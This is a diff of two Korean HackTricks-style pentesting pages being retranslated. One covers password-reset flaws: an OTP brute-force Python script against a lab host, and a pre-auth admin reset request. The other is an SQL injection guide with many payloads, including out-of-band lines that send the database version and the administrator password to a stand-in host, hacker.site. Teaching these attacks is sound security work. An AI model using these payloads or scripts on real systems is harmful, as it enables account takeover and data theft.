- 토큰이 사용자 세션 또는 기타 사용자 특정 속성에 바인딩되도록 보장합니다.
|
||||
- 공격자의 reset token이 피해자의 email과 함께 사용될 수 있는지 테스트하기.
|
||||
- **완화 조치**:
|
||||
- 토큰이 user session 또는 다른 사용자별 속성과 바인딩되어 있는지 확인하세요.
|
||||
|
||||
## **로그아웃/비밀번호 재설정 시 세션 무효화**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- 사용자가 로그아웃하거나 비밀번호를 재설정할 때 세션이 무효화되도록 보장합니다.
|
||||
- **완화 단계**:
|
||||
- 적절한 세션 관리를 구현하여 로그아웃 또는 비밀번호 재설정 시 모든 세션이 무효화되도록 합니다.
|
||||
- 사용자가 logout하거나 password를 reset할 때 session이 무효화되는지 확인하세요.
|
||||
- **완화 조치**:
|
||||
- 적절한 session 관리 구현하여 logout 또는 password reset 시 모든 session이 무효화되도록 하세요.
|
||||
|
||||
## **로그아웃/비밀번호 재설정 시 세션 무효화**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- 재설정 토큰은 만료 시간이 있어야 하며, 그 이후에는 무효가 됩니다.
|
||||
- **완화 단계**:
|
||||
- 재설정 토큰에 대해 합리적인 만료 시간을 설정하고 이를 서버 측에서 엄격히 시행합니다.
|
||||
- Reset tokens에는 만료 시간이 있어 그 이후에는 무효화되어야 합니다.
|
||||
- **완화 조치**:
|
||||
- reset tokens에 대해 합리적인 만료 시간을 설정하고 server-side에서 엄격히 적용하세요.
|
||||
|
||||
## **세션 변경으로 인한 OTP 비율 제한 우회**
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- 웹사이트가 잘못된 OTP 시도를 추적하기 위해 사용자 세션을 사용하고 OTP가 약한 경우(<= 4자리) 효과적으로 OTP를 무차별 대입할 수 있습니다.
|
||||
- **악용**:
|
||||
- 서버에 의해 차단된 후 새 세션 토큰을 요청합니다.
|
||||
- **예제** 코드: 이 버그를 악용하여 OTP를 무작위로 추측합니다(세션을 변경하면 OTP도 변경되므로 순차적으로 무차별 대입할 수 없습니다!):
|
||||
- 웹사이트가 wrong OTP 시도를 추적하기 위해 user session을 사용하고 OTP가 약한 경우(<= 4 digits)에는 OTP를 효과적으로 bruteforce할 수 있습니다.
|
||||
- **exploitation**:
|
||||
- 서버에 의해 차단된 후 새 session token을 요청하세요.
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# 비밀번호 재설정을 통한 인증 우회
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] 공격 시작!")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] 완료까지 약 5분이 소요될 수 있습니다!")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999 사이의 무작위 숫자 4자리
|
||||
parms["s"] = 164 # 중요하지 않음, 프론트엔드에만 영향을 미침
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # 시도 횟수에 따라
|
||||
out = requests.get(logout,headers=headers) # 로그아웃
|
||||
mainp = requests.get(root) # 다른 phpssid(토큰) 가져오기
|
||||
if ter == 8: # follow number of rails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # 세션 ID 추출
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # 새 세션으로 헤더 업데이트
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # 비밀번호 변경을 위한 이메일 전송
|
||||
ter = 0 # 8회 시도 후 새 세션을 얻기 위해 ter 초기화
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # 복구 코드가 올바르게 입력되었을 때 페이지 길이 (테스트로 얻음)
|
||||
print(len(res.text)) # 디버그 정보
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # 여기서 비밀번호를 새로운 것으로 변경
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] 비밀번호가 D37djkamd!로 변경되었습니다!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] 공격 중지")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## 참조
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
- 일부 구현은 skipOldPwdCheck=true로 password-change 루틴을 호출하고 reset token이나 소유권을 확인하지 않는 password change action을 노출합니다. 만약 endpoint가 change_password 같은 action 파라미터와 request body에 username/new password를 허용하면 공격자는 pre-auth 상태에서 임의의 계정을 reset할 수 있습니다.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Exploitation 요청 (개념):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
완화 조치:
|
||||
- 비밀번호 변경 전에 계정 및 세션에 바인딩된 유효한 시간 제한 재설정 토큰을 항상 요구하세요.
|
||||
- skipOldPwdCheck 경로를 인증되지 않은 사용자에게 절대 노출하지 마세요; 일반적인 비밀번호 변경에는 인증을 강제하고 기존 비밀번호를 확인하세요.
|
||||
- 비밀번호 변경 후 모든 활성 세션과 재설정 토큰을 무효화하세요.
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL 인젝션이란 무엇인가?
|
||||
## SQL injection이란?
|
||||
|
||||
**SQL 인젝션**은 공격자가 애플리케이션의 **데이터베이스 쿼리에 간섭**할 수 있게 해주는 보안 결함입니다. 이 취약점은 공격자가 **보아야 하지 않는** 데이터, 다른 사용자의 정보 또는 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정** 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변화를 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
|
||||
An **SQL injection**은 애플리케이션의 데이터베이스 쿼리에 공격자가 개입할 수 있게 하는 보안 취약점입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터(다른 사용자 정보나 애플리케이션이 접근할 수 있는 모든 데이터 포함)를 **view**, **modify**, **delete**할 수 있게 할 수 있습니다. 이러한 행위는 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나, 심지어 서버 침해 혹은 denial of service로 이어질 수 있습니다.
|
||||
|
||||
## 진입점 탐지
|
||||
|
||||
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 **SQL 인젝션(SQLi)에 취약한 것으로 보일 때**, **첫 번째 단계**는 **쿼리를 방해하지 않고 데이터 주입 방법을 이해하는 것**입니다. 이는 현재 컨텍스트에서 **효과적으로 벗어나는 방법**을 식별하는 것을 요구합니다. 다음은 유용한 몇 가지 예입니다:
|
||||
사이트가 SQL injection (SQLi) 관련 입력에 대해 비정상적인 서버 응답을 보이며 **vulnerable to SQL injection (SQLi)**처럼 보일 때, **first step**은 쿼리를 망가뜨리지 않고 어떻게 **inject data into the query without disrupting it**할지 이해하는 것입니다. 이를 위해 현재 컨텍스트에서 효과적으로 **escape from the current context**할 방법을 식별해야 합니다. 다음은 몇 가지 유용한 예시입니다:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,11 +21,11 @@
|
||||
"))
|
||||
`))
|
||||
```
|
||||
그런 다음, **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력**하고 **끝에 주석 기호를 추가**할 수 있습니다.
|
||||
그런 다음, 어떻게 **query를 수정하여 errors가 발생하지 않게 하는지** 알아야 합니다. query를 수정하기 위해서는 **input** 데이터를 넣어 **previous query가 새 데이터를 받아들이도록** 하거나, 단순히 **input**한 데이터 뒤에 **comment symbol**을 추가하면 됩니다.
|
||||
|
||||
_쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이를 발견할 수 있다면 이 단계는 더 쉬울 것입니다._
|
||||
_참고: query가 작동할 때와 작동하지 않을 때의 차이를 발견하거나 error messages를 볼 수 있다면 이 단계가 더 쉬워집니다._
|
||||
|
||||
### **주석**
|
||||
### **Comments**
|
||||
```sql
|
||||
MySQL
|
||||
#comment
|
||||
@ -53,21 +53,21 @@ HQL does not support comments
|
||||
```
|
||||
### 논리 연산으로 확인하기
|
||||
|
||||
SQL 인젝션 취약점을 확인하는 신뢰할 수 있는 방법은 **논리 연산**을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter`와 같은 GET 매개변수가 `?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.
|
||||
신뢰할 수 있는 SQL injection 취약점 확인 방법 중 하나는 **논리 연산**을 수행하고 예상되는 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter` 같은 GET parameter가 `?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠를 반환하면 SQL injection 취약점이 있는 것입니다.
|
||||
|
||||
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1`과 `?id=2-1`에 접근했을 때 동일한 결과가 나온다면, 이는 SQL 인젝션을 나타냅니다.
|
||||
마찬가지로, **수학적 연산**의 적용도 효과적인 확인 기법입니다. 예를 들어 `?id=1`과 `?id=2-1`에 접근했을 때 같은 결과가 나온다면 SQL injection임을 시사합니다.
|
||||
|
||||
논리 연산 확인을 보여주는 예:
|
||||
논리 연산 확인 예시:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
이 단어 목록은 제안된 방법으로 **SQLinjections**를 확인하기 위해 생성되었습니다:
|
||||
이 단어 목록은 제안된 방식으로 **SQLinjections을 확인하기 위해** 만들어졌습니다:
|
||||
|
||||
<details>
|
||||
<summary>진짜 SQLi</summary>
|
||||
<summary>True SQLi</summary>
|
||||
```
|
||||
true
|
||||
1
|
||||
@ -156,8 +156,9 @@ true
|
||||
|
||||
### 타이밍으로 확인하기
|
||||
|
||||
일부 경우에는 **테스트 중인 페이지에서 변화가 없을 수 있습니다**. 따라서 **블라인드 SQL 인젝션을 발견하는 좋은 방법**은 DB에 작업을 수행하게 하여 페이지 로드 시간에 **영향을 미치는** 것입니다.\
|
||||
따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:
|
||||
어떤 경우에는 테스트 중인 페이지에서 **아무런 변화도 보이지 않을 수 있습니다**. 따라서 DB가 작업을 수행하도록 해 페이지 로드에 **영향을 주게 하는 것**은 **blind SQL injections을 발견하는 좋은 방법**입니다.\
|
||||
|
||||
따라서 우리는 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 연산을 concat하여 추가할 것입니다:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +180,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
일부 경우에 **sleep functions가 허용되지 않을 수 있습니다**. 그런 경우, 이러한 함수를 사용하는 대신 쿼리가 **복잡한 작업을 수행**하도록 만들어 여러 초가 걸리게 할 수 있습니다. _이러한 기술의 예는 각 기술에 대해 별도로 설명될 것입니다 (있는 경우)_.
|
||||
어떤 경우에는 **sleep 함수가 허용되지 않을 수 있습니다**. 그런 함수를 사용하는 대신 쿼리가 몇 초가 걸리는 **복잡한 연산을 수행하도록** 만들 수 있습니다. _이러한 기법들의 예시는 각 기술별로(있는 경우)에 별도로 설명됩니다_.
|
||||
|
||||
### 백엔드 식별
|
||||
|
||||
백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해보는 것입니다. 이전 섹션의 _**sleep**_ **functions** 또는 다음의 것들을 사용할 수 있습니다 (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해 보는 것입니다. 이전 섹션의 _**sleep**_ **함수**를 사용하거나 다음 것들을 사용할 수 있습니다 (표 출처: [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,29 +212,29 @@ SQLite
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
또한, 쿼리의 출력에 접근할 수 있다면, **데이터베이스의 버전을 출력**할 수 있습니다.
|
||||
또한, query의 출력에 접근할 수 있다면 **데이터베이스의 버전 출력**을 하게 만들 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> 계속해서 다양한 종류의 SQL Injection을 악용하는 방법에 대해 논의할 것입니다. MySQL을 예로 사용할 것입니다.
|
||||
> 계속해서 다양한 종류의 SQL Injection을 악용하는 여러 방법을 논의합니다. 예시로 MySQL을 사용합니다.
|
||||
|
||||
### PortSwigger로 식별하기
|
||||
### Identifying with PortSwigger
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Union 기반 악용
|
||||
## Union Based 악용
|
||||
|
||||
### 열의 수 감지
|
||||
### 컬럼 수 확인
|
||||
|
||||
쿼리의 출력을 볼 수 있다면, 이것이 가장 좋은 악용 방법입니다.\
|
||||
우선, **초기 요청**이 반환하는 **열**의 **수**를 찾아야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
|
||||
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
|
||||
If you can see the output of the query this is the best way to exploit it.\
|
||||
먼저, **초기 요청**이 반환하는 **컬럼 수**를 알아내야 합니다. 이는 **두 쿼리 모두 동일한 컬럼 수를 반환해야 하기 때문입니다**.\
|
||||
이를 위해 일반적으로 두 가지 방법이 사용됩니다:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
쿼리의 열 수를 결정하기 위해, **ORDER BY** 또는 **GROUP BY** 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 **GROUP BY**와 **ORDER BY**의 기능이 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.
|
||||
To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +252,17 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
쿼리가 올바를 때까지 더 많은 null 값을 선택합니다:
|
||||
쿼리가 올바를 때까지 null 값을 점점 더 많이 SELECT 하세요:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_쿼리 양쪽의 열 유형이 동일해야 하는 경우가 있으므로 `null` 값을 사용해야 하며, null은 모든 경우에 유효합니다._
|
||||
_일부 경우 쿼리의 양쪽 컬럼 타입이 동일해야 하므로 모든 경우에 유효한 `null` 값을 사용해야 합니다._
|
||||
|
||||
### 데이터베이스 이름, 테이블 이름 및 열 이름 추출
|
||||
### 데이터베이스 이름, 테이블 이름 및 컬럼 이름 추출
|
||||
|
||||
다음 예제에서는 모든 데이터베이스의 이름, 데이터베이스의 테이블 이름, 테이블의 열 이름을 검색할 것입니다:
|
||||
다음 예제들에서는 모든 데이터베이스 이름, 특정 데이터베이스의 테이블 이름, 그리고 테이블의 컬럼 이름을 가져옵니다:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,67 +273,67 @@ _쿼리 양쪽의 열 유형이 동일해야 하는 경우가 있으므로 `null
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르지만, 항상 동일한 방법론입니다._
|
||||
_데이터베이스마다 이 데이터를 발견하는 방법은 다르지만, 기본적인 방법론은 항상 동일합니다._
|
||||
|
||||
## 숨겨진 유니온 기반 활용
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 **숨겨진 유니온 기반 주입**의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행 쿼리를 식별해야 합니다.
|
||||
query의 출력이 보이지만 union-based injection이 불가능해 보인다면, 이는 **hidden union-based injection**이 존재함을 의미합니다. 이 상황은 종종 blind injection 상황으로 이어집니다. blind injection을 union-based injection으로 전환하려면, 백엔드에서 실행되는 query를 파악해야 합니다.
|
||||
|
||||
이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.
|
||||
이는 blind injection 기법과 대상 DBMS에 특화된 기본 테이블들을 함께 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하려면 대상 DBMS의 문서를 참고하는 것이 좋습니다.
|
||||
|
||||
쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 유니온 쿼리를 페이로드에 추가하여 새로 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.
|
||||
query를 추출한 후에는 원래 query를 안전하게 닫을 수 있도록 payload를 조정해야 합니다. 그 다음 payload에 union query를 추가하면 새로 열린 union-based injection을 악용할 수 있습니다.
|
||||
|
||||
더 포괄적인 통찰력을 원하시면 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)에서 전체 기사를 참조하세요.
|
||||
더 자세한 내용은 전체 글 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)를 참조하세요.
|
||||
|
||||
## 오류 기반 활용
|
||||
## Exploiting Error based
|
||||
|
||||
어떤 이유로 **쿼리**의 **출력**을 **볼 수 없지만** **오류 메시지**는 **볼 수 있는 경우**, 이 오류 메시지를 사용하여 데이터베이스에서 데이터를 **유출**할 수 있습니다.\
|
||||
유니온 기반 활용과 유사한 흐름을 따라 DB를 덤프할 수 있습니다.
|
||||
어떤 이유로 **cannot** see the **output** of the **query** 하지만 **see the error messages**는 볼 수 있다면, 이 **error messages**를 이용해 데이터베이스에서 데이터를 **ex-filtrate**할 수 있습니다.\
|
||||
Union Based exploitation과 유사한 흐름을 따라가면 DB를 dump할 수 있습니다.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## 블라인드 SQLi 활용하기
|
||||
## Blind SQLi 악용
|
||||
|
||||
이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 **true** 또는 **false** 응답을 **반환**할 때 페이지에 다른 내용이 표시되므로 이를 **구별**할 수 있습니다.\
|
||||
이 경우, 이 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
|
||||
이 경우 query의 결과나 에러는 볼 수 없지만, 페이지의 내용이 달라지기 때문에 query가 **true** 또는 **false** 응답을 **return**할 때를 **구분할 수 있습니다**.\
|
||||
이 경우 이러한 동작을 악용하여 database를 문자 단위로 dump할 수 있습니다:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
이것은 **이전과 동일한 경우**이지만 쿼리의 true/false 응답을 구분하는 대신 SQL 쿼리에서 **오류**가 있는지 여부를 **구분할 수 있습니다**(아마도 HTTP 서버가 중단되기 때문입니다). 따라서 이 경우 올바른 문자를 추측할 때마다 SQL 오류를 강제로 발생시킬 수 있습니다:
|
||||
이것은 이전과 **같은 경우**이지만, 쿼리의 true/false 응답을 구별하는 대신 **구별하여** 쿼리에서 **오류**가 발생하는지 여부(아마도 HTTP 서버가 크래시하기 때문일 수 있습니다)를 판단할 수 있습니다. 따라서, 이 경우에는 문자를 올바르게 추측할 때마다 SQLerror를 강제로 발생시킬 수 있습니다:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## 시간 기반 SQLi 활용
|
||||
## Time Based SQLi 악용
|
||||
|
||||
이 경우 **페이지의 맥락**에 따라 쿼리의 **응답**을 **구분할** 방법이 **없습니다**. 그러나, 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [타이밍을 통한 확인](#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
|
||||
이 경우 페이지의 컨텍스트만으로는 쿼리의 **응답**을 **구분할** **방법이 없습니다**. 하지만 추측한 문자가 맞으면 페이지의 로드 시간이 **더 길어지도록** 만들 수 있습니다. 우리는 이미 [confirm a SQLi vuln](#confirming-with-timing)을 확인하기 위해 이 기술이 사용되는 것을 본 적이 있습니다.
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
스택 쿼리를 사용하여 **여러 쿼리를 연속으로 실행**할 수 있습니다. 후속 쿼리가 실행되는 동안 **결과**는 **응용 프로그램에 반환되지 않습니다**. 따라서 이 기술은 **블라인드 취약점**과 관련하여 주로 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.
|
||||
stacked queries를 사용하면 **여러 쿼리를 연속으로 실행할 수 있습니다**. 후속 쿼리들이 실행되더라도, **결과는 애플리케이션으로 반환되지 않습니다**. 따라서 이 기법은 주로 **blind vulnerabilities**와 관련되어 유용하며, 두 번째 쿼리를 통해 DNS 조회, 조건부 오류 또는 시간 지연을 유발할 수 있습니다.
|
||||
|
||||
**Oracle**은 **스택 쿼리**를 지원하지 않습니다. **MySQL, Microsoft** 및 **PostgreSQL**은 이를 지원합니다: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle**는 **stacked queries**를 지원하지 않습니다. **MySQL, Microsoft** 및 **PostgreSQL**는 이를 지원합니다: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
**다른** 취약점 이용 방법이 **작동하지 않는 경우**, **데이터베이스**가 **외부 호스트**로 정보를 **유출**하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
|
||||
만약 **다른** exploitation 방법이 **작동하지 않았다면**, 데이터베이스가 당신이 제어하는 **external host**로 정보를 **database ex-filtrate**하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Out of band 데이터 유출 via XXE
|
||||
### XXE를 통한 Out of band data exfiltration
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## 자동화된 익스플로잇
|
||||
## Automated Exploitation
|
||||
|
||||
[SQLMap Cheatsheet](sqlmap/index.html)를 확인하여 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)으로 SQLi 취약점을 익스플로잇하세요.
|
||||
SQLi 취약점을 exploit하기 위해 [SQLMap Cheatsheet](sqlmap/index.html)와 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)를 확인하세요.
|
||||
|
||||
## 기술별 정보
|
||||
## Tech specific info
|
||||
|
||||
SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:
|
||||
우리는 이미 SQL Injection 취약점을 exploit하는 모든 방법을 논의했습니다. 이 책에서 데이터베이스 기술별로 더 많은 트릭을 찾아보세요:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,22 +341,21 @@ SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
또는 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.**
|
||||
또는 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL에 관한 많은 트릭을** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 찾을 수 있습니다.
|
||||
|
||||
## 인증 우회
|
||||
## Authentication bypass
|
||||
|
||||
로그인 기능을 우회하기 위해 시도할 목록:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### 원시 해시 인증 우회
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
이 쿼리는 인증 검사에서 원시 출력을 위해 true로 MD5를 사용할 때 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 무단 접근을 할 수 있습니다.
|
||||
